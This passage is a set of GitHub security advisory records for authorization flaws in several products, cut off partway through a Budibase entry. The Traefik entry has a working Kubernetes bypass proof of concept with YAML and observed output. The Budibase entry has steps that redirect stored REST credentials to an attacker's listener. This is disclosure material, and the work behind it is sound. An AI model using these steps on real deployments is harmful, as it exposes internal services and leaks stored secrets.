CWE-863

{
  "affected": [],
  "aliases": [
    "CVE-2025-7974"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-02T20:15:37Z",
    "severity": "LOW"
  },
  "details": "rocket.chat Incorrect Authorization Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of rocket.chat. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the web service, which listens on TCP port 3000 by default. The issue results from incorrect authorization. An attacker can leverage this vulnerability to disclose information in the context of the application. Was ZDI-CAN-26517.",
  "id": "GHSA-3fwv-m349-pfjm",
  "modified": "2025-09-02T21:30:58Z",
  "published": "2025-09-02T21:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7974"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-627"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-24233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-31T23:15:20Z",
    "severity": "CRITICAL"
  },
  "details": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Ventura 13.7.5, macOS Sequoia 15.4, macOS Sonoma 14.7.5. A malicious app may be able to read or write to protected files.",
  "id": "GHSA-3g2g-jmh9-pfcp",
  "modified": "2025-11-03T21:33:19Z",
  "published": "2025-04-01T00:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24233"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122373"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122374"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122375"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/10"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/8"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-45956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-12T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Boa Web Server versions 0.94.13 through 0.94.14 fail to validate the correct security constraint on the HEAD HTTP method allowing everyone to bypass the Basic Authorization mechanism.",
  "id": "GHSA-3g3q-575c-4343",
  "modified": "2022-12-15T21:30:31Z",
  "published": "2022-12-12T15:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45956"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/169962/Boa-Web-Server-0.94.13-0.94.14-Authentication-Bypass.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-15826"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-08T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains TeamCity before 2020.1, users are able to assign more permissions than they have.",
  "id": "GHSA-3g62-9qpr-j338",
  "modified": "2022-05-24T17:25:08Z",
  "published": "2022-05-24T17:25:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15826"
    },
    {
      "type": "WEB",
      "url": "https://blog.jetbrains.com"
    },
    {
      "type": "WEB",
      "url": "https://blog.jetbrains.com/blog/2020/08/06/jetbrains-security-bulletin-q2-2020"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.20"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.11.50"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0-ea.1"
            },
            {
              "fixed": "3.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54761"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:01:48Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route\u0027s own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.21\n- https://github.com/traefik/traefik/releases/tag/v3.7.5\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Summary\n\nThe Kubernetes Gateway provider\u0027s `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs.\n\nFor `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference.\n\nVerified affected versions:\n\n- `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`)\n- current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`)\n\n# Expected Behavior\n\nWith:\n\n```yaml\nproviders:\n  kubernetesGateway:\n    crossProviderNamespaces:\n      - trusted\n```\n\nonly Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`.\n\nAn `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting:\n\n```yaml\nbackendRefs:\n  - group: traefik.io\n    kind: TraefikService\n    name: api@internal\n    namespace: trusted\n```\n\n# Actual Behavior\n\nFor an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing:\n\n```text\n[api@internal attacker-whoami-http-80]\n```\n\neven though `crossProviderNamespaces` only allows `trusted`.\n\n# Threat Model\n\nThis does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider\u0027s `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs.\n\nThe precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik\u0027s separate provider-level namespace allowlist for cross-provider internal services.\n\nA Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik\u0027s `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`.\n\n# Required Attacker Capability\n\nRequired:\n\n- create or modify an `HTTPRoute` in namespace `attacker`;\n- have that `HTTPRoute` accepted by a `Gateway`;\n- rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik\u0027s provider configuration.\n\nNot required:\n\n- modifying Traefik static configuration;\n- modifying the Traefik deployment or Traefik RBAC;\n- modifying resources in the Traefik deployment namespace;\n- modifying `providers.kubernetesGateway.crossProviderNamespaces`;\n- enabling `api.insecure`;\n- exposing the dashboard/API entrypoint directly.\n\n# Documentation Evidence\n\nThe documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`.\n\nThe Kubernetes Gateway provider option is documented as:\n\n```text\nList of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.\n```\n\nThe migration notes also describe the security reason for the option:\n\n```text\nthose references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.\n```\n\nand the documented behavior is:\n\n```text\n[\"ns-a\"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.\n```\n\nThe provider struct uses the same route-namespace wording:\n\n```go\nCrossProviderNamespaces []string `description:\"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references.\" ...`\n```\n\nThe reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC.\n\n# PoC\n\nI validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik\u0027s normal `web` entrypoint.\n\nThe complete local reproducer I used is a self-contained `kind` PoC with these files:\n\n```text\nexternal-repro-kind/kind-config.yaml\nexternal-repro-kind/traefik-v371.yaml\nexternal-repro-kind/gateway-exploit.yaml\nexternal-repro-kind/run-kind-repro.sh\n```\n\nRun command:\n\n```bash\n./external-repro-kind/run-kind-repro.sh\n```\n\nThe script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit.\n\nTraefik was started with:\n\n```text\n--api=true\n--api.dashboard=true\n--api.insecure=false\n--providers.kubernetesgateway=true\n--providers.kubernetesgateway.crossprovidernamespaces=trusted\n```\n\nThe local host entrypoint was:\n\n```text\n127.0.0.1:18080 -\u003e kind NodePort -\u003e Traefik web entrypoint\n```\n\nThe target namespace has a normal Gateway API `ReferenceGrant`:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1beta1\nkind: ReferenceGrant\nmetadata:\n  name: allow-attacker-to-traefikservice\n  namespace: trusted\nspec:\n  from:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      namespace: attacker\n  to:\n    - group: traefik.io\n      kind: TraefikService\n```\n\nPositive control:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: single-backend-control\n  namespace: attacker\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: default\n  hostnames:\n    - control.localhost\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /api\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: api@internal\n          namespace: trusted\n          port: 80\n          weight: 1\n```\n\nBypass:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: mixed-backend-bypass\n  namespace: attacker\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: default\n  hostnames:\n    - exploit.localhost\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /api\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: api@internal\n          namespace: trusted\n          port: 80\n          weight: 1000000\n        - group: \"\"\n          kind: Service\n          name: whoami\n          port: 80\n          weight: 1\n```\n\nObserved external result:\n\n```text\ncontrol: single-backend route from attacker namespace should not expose api@internal\ncontrol status: 404\n404 page not found\n\nexploit: mixed backendRef route from attacker namespace exposes api@internal\nexploit returned Traefik API JSON\napi@internal status: enabled\nweighted members:\napi@internal              1000000\nattacker-whoami-http-80  1\n```\n\nThe `HTTPRoute` status shows the boundary difference:\n\n```text\nsingle-backend-control:\n  Accepted=True\n  ResolvedRefs=False\n  Reason=RefNotPermitted\n  Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace \"attacker\" is not in crossProviderNamespaces\n\nmixed-backend-bypass:\n  Accepted=True\n  ResolvedRefs=True\n```\n\nThis is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.\n\n## Minimized Root Cause Test\n\nI also created a provider-level regression test using Traefik\u0027s fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction.\n\nFiles:\n\n- `probe/crossprovider_namespace_probe_test.go`\n- `probe/cross_provider_namespace_probe.yml`\n- `probe/cross_provider_namespace_single_control.yml`\n\nReproduction:\n\n```bash\ncp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/\ncp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/\ngo test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v\n```\n\nObserved output on both tested versions:\n\n```text\nMessages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]\n```\n\nThe reproducer also includes a positive control:\n\n```text\n=== RUN   TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n```\n\nThat control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.\n\n# Root Cause\n\nThe single-internal-service path checks the route namespace:\n\n```go\ncase len(routeRule.BackendRefs) == 1 \u0026\u0026 isInternalService(routeRule.BackendRefs[0].BackendRef):\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {\n```\n\nThe mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`:\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil \u0026\u0026 *backendRef.Namespace != \"\" {\n    namespace = string(*backendRef.Namespace)\n}\n...\nname, service, err := p.loadHTTPBackendRef(namespace, backendRef)\n```\n\n`loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace:\n\n```go\nif *backendRef.Kind == \"TraefikService\" \u0026\u0026 strings.Contains(string(backendRef.Name), \"@\") {\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {\n```\n\nThis lets a disallowed route namespace choose an allow-listed target namespace and pass the check.\n\n# Impact\n\nAn untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`.\n\nPotentially exposed internal services include:\n\n- `api@internal`\n- `dashboard@internal`\n- `rest@internal`\n\nThis is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`.\n\nI also validated the concrete impact of the generated service graph in the local lab. The lab\u0027s intended safe baseline has the dashboard/API protected on the dashboard entrypoint:\n\n```text\nHost: dashboard.localhost -\u003e dashboard entrypoint /api/rawdata =\u003e 401 Unauthorized\nHost: dashboard.localhost -\u003e web entrypoint /api/rawdata =\u003e 404 Not Found\n```\n\nWhen a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated:\n\n```text\nHost: impact-crossprovider.localhost -\u003e web entrypoint /api/rawdata =\u003e 200 OK\nservice: api@internal\n```\n\nA WRR service containing `api@internal` also exposes the API:\n\n```text\nHost: impact-crossprovider-wrr.localhost -\u003e web entrypoint /api/rawdata =\u003e 200 OK\nweighted services:\napi@internal 1000\necho-svc      1\n```\n\nThis is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls.\n\n# Suggested Fix\n\nFor Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-3g6v-2r68-prfc",
  "modified": "2026-06-17T14:01:48Z",
  "published": "2026-06-17T14:01:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-3g6v-2r68-prfc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.21"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/project-community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.7-p1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.3.7"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.2-p1"
            },
            {
              "fixed": "2.4.2-p2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2021-36039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-07T23:21:00Z",
    "nvd_published_at": "2021-09-01T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Magento Commerce versions 2.4.2 (and earlier), 2.4.2-p1 (and earlier) and 2.3.7 (and earlier) are affected by an improper input validation vulnerability via the `quoteId` parameter. An attacker can abuse this vulnerability to disclose sensitive information.",
  "id": "GHSA-3g7m-g8qm-x6j5",
  "modified": "2025-11-07T23:21:00Z",
  "published": "2022-05-24T19:12:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36039"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/magento/magento2"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb21-64.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Magento discloses sensitive information"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openfga/openfga"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-39352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-08T22:31:25Z",
    "nvd_published_at": "2022-11-08T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Overview\nDuring our internal security assessment, it was discovered that OpenFGA versions v0.2.4 and prior are vulnerable to authorization bypass under certain conditions.\n\n### Am I Affected?\nYou are affected by this vulnerability if you are using `openfga/openfga` version v0.2.4 or prior, and have tuples where the `user` field is set to a `userset` e.g. `folder:test#owner`, and the tuple\u0027s relation is used on the right-hand side of a `from` statement.\n\n### How to fix that?\nUpgrade to version 0.2.5.\n\n### Backward Compatibility\nThis update is not backward compatible.\nAny tuples where the `user` field is set to a `userset`, and the tuple\u0027s relation is used on the right-hand side of a `from` statement have to be rewritten.",
  "id": "GHSA-3gfj-fxx4-f22w",
  "modified": "2022-11-10T14:32:09Z",
  "published": "2022-11-08T22:31:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/security/advisories/GHSA-3gfj-fxx4-f22w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39352"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/commit/776e80505e8d184b2286acc8268d8d74f36a9984"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openfga/openfga"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/releases/tag/v0.2.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenFGA Authorization Bypass"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-15342"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-05T19:15:55Z",
    "severity": "MODERATE"
  },
  "details": "Tanium addressed an improper access controls vulnerability in Reputation.",
  "id": "GHSA-3gh3-7v6r-4q8w",
  "modified": "2026-02-05T21:32:42Z",
  "published": "2026-02-05T21:32:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15342"
    },
    {
      "type": "WEB",
      "url": "https://security.tanium.com/TAN-2025-030"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-29827"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-08T23:15:52Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Authorization in Azure Automation allows an authorized attacker to elevate privileges over a network.",
  "id": "GHSA-3gjx-hg47-fq76",
  "modified": "2025-05-09T00:30:35Z",
  "published": "2025-05-09T00:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29827"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29827"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T18:28:40Z",
    "nvd_published_at": "2026-05-27T18:16:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nBudibase stores external REST datasource credentials server-side and documents that database credentials are applied server-side and are not exposed in the UI. The REST datasource implementation redacts stored Basic/Bearer/OAuth2 auth secrets before returning datasource data to clients. However, the single-datasource `GET` and `PUT` routes are guarded by generic `TABLE READ`, not by Builder/Admin permission or datasource-specific ownership/resource checks.\n\nThe built-in Basic app user role maps to the `WRITE` permission set, which includes table read/write and query write. A Basic user can therefore read an existing REST datasource, receive redacted `authConfigs` values, submit an update that changes only `config.url` while keeping the redacted placeholders, and trigger an existing saved relative-path REST query. During update, `mergeConfigs()` restores the old stored secret when it sees the redaction placeholder. During query execution, Budibase prefixes the attacker-controlled datasource `config.url` to the relative query path and applies the resolved stored auth headers. The result is server-side disclosure of the builder-configured REST Authorization secret to an attacker-controlled listener.\n\n### Source evidence\n- `packages/server/src/api/routes/datasource.ts`: datasource list/create/delete routes are on `builderRoutes`, but `GET /api/datasources/:datasourceId` and `PUT /api/datasources/:datasourceId` are in `authorizedRoutes` guarded only by `PermissionType.TABLE` and `PermissionLevel.READ`.\n- `packages/server/src/api/routes/datasource.ts`: the `:datasourceId` routes do not attach datasource-specific resource authorization.\n- `packages/backend-core/src/security/roles.ts`: built-in Basic user maps to `BuiltinPermissionID.WRITE`.\n- `packages/backend-core/src/security/permissions.ts`: `WRITE` grants `READ`/`EXECUTE` levels and includes `QUERY WRITE` and `TABLE WRITE`.\n- `packages/server/src/api/controllers/datasource.ts`: `datasourceController.update` reads the stored datasource, merges `ctx.request.body` into it, writes the result back, and returns a redacted copy.\n- `packages/server/src/sdk/workspace/datasources/datasources.ts`: `removeSecrets()` redacts REST Basic/Bearer/OAuth2 secrets to `PASSWORD_REPLACEMENT`.\n- `packages/server/src/sdk/workspace/datasources/datasources.ts`: `mergeConfigs()` restores the old stored auth-secret field when the update body sends the redaction placeholder for the same auth config.\n- `packages/server/src/integrations/rest.ts`: relative REST query paths are prefixed with datasource `config.url`.\n- `packages/server/src/integrations/rest.ts`: REST execution resolves the selected auth config and applies the resulting auth headers to the outbound request.\n- `packages/server/src/api/routes/query.ts`: saved query execution `POST /api/v2/queries/:queryId` is guarded by `QUERY WRITE`, which the Basic role has through the `WRITE` permission set.\n\n### Reproduction outline\nNo production systems were tested. This is source-backed and has a local static verifier plus a proof helper for an already-running authorized instance.\n\n1. Deploy a current Budibase instance.\n2. As a builder/admin, create and publish an app.\n3. As the builder/admin, create a REST datasource with:\n   - `config.url` set to a benign legitimate API base URL.\n   - a stored REST auth config containing a sentinel secret, such as a Bearer token `BUDIBASE_REST_TOKEN_SENTINEL`.\n4. As the builder/admin, create a saved REST query that uses a relative path and that auth config.\n5. Add a non-builder Basic app user.\n6. As the Basic user, confirm negative controls:\n   - Builder-only datasource list/create/preview routes are denied.\n   - The user is not a builder/admin.\n7. As the Basic user, call `GET /api/datasources/{datasourceId}`. The response returns the datasource and redacted auth placeholders, not the raw secret.\n8. As the Basic user, call `PUT /api/datasources/{datasourceId}` with the same redacted datasource body but with `config.url` changed to an attacker-controlled HTTP listener.\n9. As the Basic user, execute the saved query with `POST /api/v2/queries/{queryId}`.\n10. Expected vulnerable result: the attacker listener receives the server-side REST request with the preserved stored Authorization material, even though the Basic user never knew the raw secret and should not be able to administer datasource credentials.\n\nLocal source verifier:\n\n```bash\npython3 docker-proofs/s60/verify_budibase_basic_user_datasource_source_path.py\n```\n\nExpected success line:\n\n```text\nSOURCE_PATH_VERIFIED budibase_basic_user_datasource_rest_secret_exfil\n```\n\nObserved May 1, 2026:\n\n- `origin/master` was `8e6bf89acf1f602f3334592c4c8cd14e79f5362a`.\n- Latest release was `3.37.2` from Apr 30, 2026.\n- The source verifier passed and confirmed the route, role, redaction, merge, URL-prefixing, auth-header, and saved-query execution conditions.\n\nProof-assist helper:\n\n```bash\npython3 docker-proofs/s60/proof_budibase_basic_user_datasource_update_rest_secret_exfil.py \\\n  --base-url http://127.0.0.1:10000 \\\n  --app-id \u003cpublished-app-id\u003e \\\n  --datasource-id \u003crest-datasource-id\u003e \\\n  --query-id \u003csaved-relative-rest-query-id\u003e \\\n  --cookie \u0027\u003cbasic-user-session-cookie\u003e\u0027 \\\n  --expected-secret BUDIBASE_REST_TOKEN_SENTINEL\n```\n\nThe helper does not start, stop, or delete containers/resources. It targets an 